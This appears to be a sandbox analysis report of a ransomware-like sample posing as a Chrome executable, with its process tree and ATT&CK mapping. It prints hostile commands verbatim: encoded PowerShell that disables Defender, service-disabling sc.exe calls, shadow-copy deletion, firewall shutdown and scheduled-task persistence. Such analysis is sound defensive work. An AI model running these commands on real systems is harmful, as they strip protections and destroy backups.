PID 1716 wrote to memory of 1956	1716	chrome.exe	108
PID 3332 wrote to memory of 3644	3332	www.fastfocus.io_chrome.exe	109
PID 3332 wrote to memory of 5424	3332	www.fastfocus.io_chrome.exe	111
PID 3332 wrote to memory of 1908	3332	www.fastfocus.io_chrome.exe	113
PID 3332 wrote to memory of 940	3332	www.fastfocus.io_chrome.exe	115
PID 3332 wrote to memory of 4584	3332	www.fastfocus.io_chrome.exe	117
PID 3332 wrote to memory of 2384	3332	www.fastfocus.io_chrome.exe	118
PID 3332 wrote to memory of 464	3332	www.fastfocus.io_chrome.exe	120
PID 3332 wrote to memory of 1836	3332	www.fastfocus.io_chrome.exe	122
PID 4584 wrote to memory of 3684	4584	fodhelper.exe	123
PID 3332 wrote to memory of 4892	3332	www.fastfocus.io_chrome.exe	124
PID 3332 wrote to memory of 3144	3332	www.fastfocus.io_chrome.exe	132
PID 3332 wrote to memory of 5928	3332	www.fastfocus.io_chrome.exe	133
PID 3332 wrote to memory of 3368	3332	www.fastfocus.io_chrome.exe	135
PID 3332 wrote to memory of 3680	3332	www.fastfocus.io_chrome.exe	140
PID 3332 wrote to memory of 2536	3332	www.fastfocus.io_chrome.exe	142
PID 3332 wrote to memory of 2880	3332	www.fastfocus.io_chrome.exe	143
PID 3332 wrote to memory of 1008	3332	www.fastfocus.io_chrome.exe	144
PID 3332 wrote to memory of 4848	3332	www.fastfocus.io_chrome.exe	145
PID 3332 wrote to memory of 4560	3332	www.fastfocus.io_chrome.exe	146
PID 3332 wrote to memory of 2712	3332	www.fastfocus.io_chrome.exe	147
PID 3332 wrote to memory of 3232	3332	www.fastfocus.io_chrome.exe	148
PID 3332 wrote to memory of 2956	3332	www.fastfocus.io_chrome.exe	155
PID 3680 wrote to memory of 5140	3680	cmd.exe	157
PID 2712 wrote to memory of 4760	2712	cmd.exe	158
PID 4848 wrote to memory of 3804	4848	cmd.exe	159
PID 2536 wrote to memory of 2800	2536	cmd.exe	160
PID 1008 wrote to memory of 4664	1008	cmd.exe	161
PID 4560 wrote to memory of 4588	4560	cmd.exe	162
PID 3804 wrote to memory of 5812	3804	net.exe	163
PID 2880 wrote to memory of 5100	2880	cmd.exe	164
PID 3680 wrote to memory of 2076	3680	cmd.exe	165
PID 3332 wrote to memory of 3060	3332	www.fastfocus.io_chrome.exe	166
PID 1716 wrote to memory of 1688	1716	chrome.exe	167
PID 3332 wrote to memory of 5384	3332	www.fastfocus.io_chrome.exe	168
PID 3332 wrote to memory of 5332	3332	www.fastfocus.io_chrome.exe	169
PID 3332 wrote to memory of 5464	3332	www.fastfocus.io_chrome.exe	170
PID 3332 wrote to memory of 6004	3332	www.fastfocus.io_chrome.exe	172
PID 3332 wrote to memory of 2828	3332	www.fastfocus.io_chrome.exe	174
PID 3332 wrote to memory of 4324	3332	www.fastfocus.io_chrome.exe	175
PID 5464 wrote to memory of 2064	5464	net.exe	180
PID 1716 wrote to memory of 6032	1716	chrome.exe	181
PID 1716 wrote to memory of 6032	1716	chrome.exe	181
PID 1716 wrote to memory of 3156	1716	chrome.exe	182
PID 1716 wrote to memory of 3156	1716	chrome.exe	182

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\www.fastfocus.io_chrome.exe
"C:\Users\Admin\AppData\Local\Temp\www.fastfocus.io_chrome.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3332
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" http://www.fastfocus.io
  2⤵
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:1716
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ff967d8c728,0x7ff967d8c734,0x7ff967d8c740
    3⤵
    PID:4580
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1604,i,936657714451993171,3845922505779839919,262144 --field-trial-handle=1904,i,6476329534598062528,2928666076168842138,262144 --variations-seed-version --mojo-platform-channel-handle=1900 /prefetch:2
    3⤵
    PID:1932
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1464,i,10370848014709860162,2528913216950419758,524288 --field-trial-handle=1904,i,6476329534598062528,2928666076168842138,262144 --variations-seed-version --mojo-platform-channel-handle=2052 /prefetch:11
    3⤵
    - System Time Discovery
    PID:4920
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2288,i,757307138470714861,736431012941809058,524288 --field-trial-handle=1904,i,6476329534598062528,2928666076168842138,262144 --variations-seed-version --mojo-platform-channel-handle=2300 /prefetch:13
    3⤵
    PID:1652
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3140,i,1130524974601635855,5516184418291789440,2097152 --field-trial-handle=1904,i,6476329534598062528,2928666076168842138,262144 --variations-seed-version --mojo-platform-channel-handle=3256 /prefetch:1
    3⤵
    PID:5092
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3152,i,8783351230606366807,3283476578239103384,2097152 --field-trial-handle=1904,i,6476329534598062528,2928666076168842138,262144 --variations-seed-version --mojo-platform-channel-handle=3276 /prefetch:1
    3⤵
    PID:5056
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4672,i,16056254434886172158,2442483602374846679,524288 --field-trial-handle=1904,i,6476329534598062528,2928666076168842138,262144 --variations-seed-version --mojo-platform-channel-handle=4684 /prefetch:14
    3⤵
    PID:2032
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4832,i,11393987081708126276,16038432335470751309,2097152 --field-trial-handle=1904,i,6476329534598062528,2928666076168842138,262144 --variations-seed-version --mojo-platform-channel-handle=4844 /prefetch:1
    3⤵
    PID:1956
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=3384,i,9169735724191347432,7463949140802420518,524288 --field-trial-handle=1904,i,6476329534598062528,2928666076168842138,262144 --variations-seed-version --mojo-platform-channel-handle=5616 /prefetch:14
    3⤵
    PID:1688
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=3352,i,388300532386662536,5182477785766936635,2097152 --field-trial-handle=1904,i,6476329534598062528,2928666076168842138,262144 --variations-seed-version --mojo-platform-channel-handle=5672 /prefetch:1
    3⤵
    PID:6032
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=3244,i,4066319855282160308,8740596070348267704,2097152 --field-trial-handle=1904,i,6476329534598062528,2928666076168842138,262144 --variations-seed-version --mojo-platform-channel-handle=5692 /prefetch:1
    3⤵
    PID:3156
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5812,i,15681629599754469058,16742956794233510289,2097152 --field-trial-handle=1904,i,6476329534598062528,2928666076168842138,262144 --variations-seed-version --mojo-platform-channel-handle=5956 /prefetch:1
    3⤵
    PID:2768
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5952,i,2850761159418896764,15761387626965305933,2097152 --field-trial-handle=1904,i,6476329534598062528,2928666076168842138,262144 --variations-seed-version --mojo-platform-channel-handle=3244 /prefetch:1
    3⤵
    PID:3000
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=3924,i,5038825019901971614,17286886088792355964,2097152 --field-trial-handle=1904,i,6476329534598062528,2928666076168842138,262144 --variations-seed-version --mojo-platform-channel-handle=4508 /prefetch:1
    3⤵
    PID:3780
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6216,i,7521522758515812317,15381433614225282604,524288 --field-trial-handle=1904,i,6476329534598062528,2928666076168842138,262144 --variations-seed-version --mojo-platform-channel-handle=5956 /prefetch:14
    3⤵
    PID:2056
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=6212,i,7530801160981106656,373500582153252307,2097152 --field-trial-handle=1904,i,6476329534598062528,2928666076168842138,262144 --variations-seed-version --mojo-platform-channel-handle=5952 /prefetch:1
    3⤵
    PID:5648
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=5072,i,6881546215940985072,17664456485467600154,2097152 --field-trial-handle=1904,i,6476329534598062528,2928666076168842138,262144 --variations-seed-version --mojo-platform-channel-handle=5924 /prefetch:1
    3⤵
    PID:2028
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=6500,i,15241157505318651284,1150211079707920864,2097152 --field-trial-handle=1904,i,6476329534598062528,2928666076168842138,262144 --variations-seed-version --mojo-platform-channel-handle=6352 /prefetch:1
    3⤵
    PID:4176
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6064,i,12448846206782291154,1069842520964716140,524288 --field-trial-handle=1904,i,6476329534598062528,2928666076168842138,262144 --variations-seed-version --mojo-platform-channel-handle=6356 /prefetch:14
    3⤵
    PID:2100
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=3924,i,2329780319327322700,44263518347838415,524288 --field-trial-handle=1904,i,6476329534598062528,2928666076168842138,262144 --variations-seed-version --mojo-platform-channel-handle=5700 /prefetch:14
    3⤵
    PID:4432
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=6224,i,9726175137391686477,2646362367771591795,2097152 --field-trial-handle=1904,i,6476329534598062528,2928666076168842138,262144 --variations-seed-version --mojo-platform-channel-handle=6056 /prefetch:1
    3⤵
    PID:4400
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --metrics-shmem-handle=6152,i,449436675854295504,2464276335228430251,2097152 --field-trial-handle=1904,i,6476329534598062528,2928666076168842138,262144 --variations-seed-version --mojo-platform-channel-handle=3368 /prefetch:9
    3⤵
    PID:1984
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5848,i,15301821984296865945,17094499986635738056,524288 --field-trial-handle=1904,i,6476329534598062528,2928666076168842138,262144 --variations-seed-version --mojo-platform-channel-handle=5908 /prefetch:14
    3⤵
    PID:1572
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=4784,i,8228055317410895227,16937513437647249862,524288 --field-trial-handle=1904,i,6476329534598062528,2928666076168842138,262144 --variations-seed-version --mojo-platform-channel-handle=6112 /prefetch:14
    3⤵
    PID:720
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=4676,i,6062312490260558857,15004108688875444984,524288 --field-trial-handle=1904,i,6476329534598062528,2928666076168842138,262144 --variations-seed-version --mojo-platform-channel-handle=5816 /prefetch:14
    3⤵
    PID:1052
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=6096,i,17058377964146946045,15258837727709521682,262144 --field-trial-handle=1904,i,6476329534598062528,2928666076168842138,262144 --variations-seed-version --mojo-platform-channel-handle=5616 /prefetch:10
    3⤵
    PID:2520
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4484
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:4924
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:2544
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:5568
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:5400
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:3644
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:5424
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:1908
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:940
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4584
- - C:\Users\Admin\AppData\Local\Temp\www.fastfocus.io_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\www.fastfocus.io_chrome.exe"
    3⤵
    PID:3684
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:2384
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:464
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:1836
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4892
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:3144
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\www.fastfocus.io_chrome.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5928
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\www.fastfocus.io_chrome.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3368
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3680
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:5140
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:2076
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2536
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:2800
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2880
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:5100
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1008
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    PID:4664
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4848
- - C:\Windows\system32\net.exe
    net user
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3804
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user
      4⤵
      PID:5812
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4560
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:4588
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2712
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    PID:4760
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\www.fastfocus.io_chrome.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3232
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:2956
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:3060
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:5384
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5332
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5464
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:2064
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:6004
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:2828
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:4324

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:3804

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4540

C:\Users\Admin\AppData\Local\Temp\www.fastfocus.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\www.fastfocus.io_chrome.exe
1⤵
PID:328

C:\Users\Admin\AppData\Local\Temp\www.fastfocus.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\www.fastfocus.io_chrome.exe
1⤵
PID:3188

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:3552

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:5772

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
PID:2056

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery